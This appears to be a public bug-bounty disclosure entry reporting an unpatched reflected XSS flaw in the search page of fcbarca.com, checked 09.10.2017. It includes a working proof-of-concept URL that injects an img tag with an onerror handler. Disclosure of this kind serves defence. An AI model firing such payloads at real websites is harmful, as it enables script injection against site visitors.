fcbarca.com XSS vulnerability

Vulnerable URL: http://www.fcbarca.com/szukaj.html?q==aaaaa%22%3E%3Cimg%20src=x%20onerror=prompt/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 09.10.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 32339 VIP website...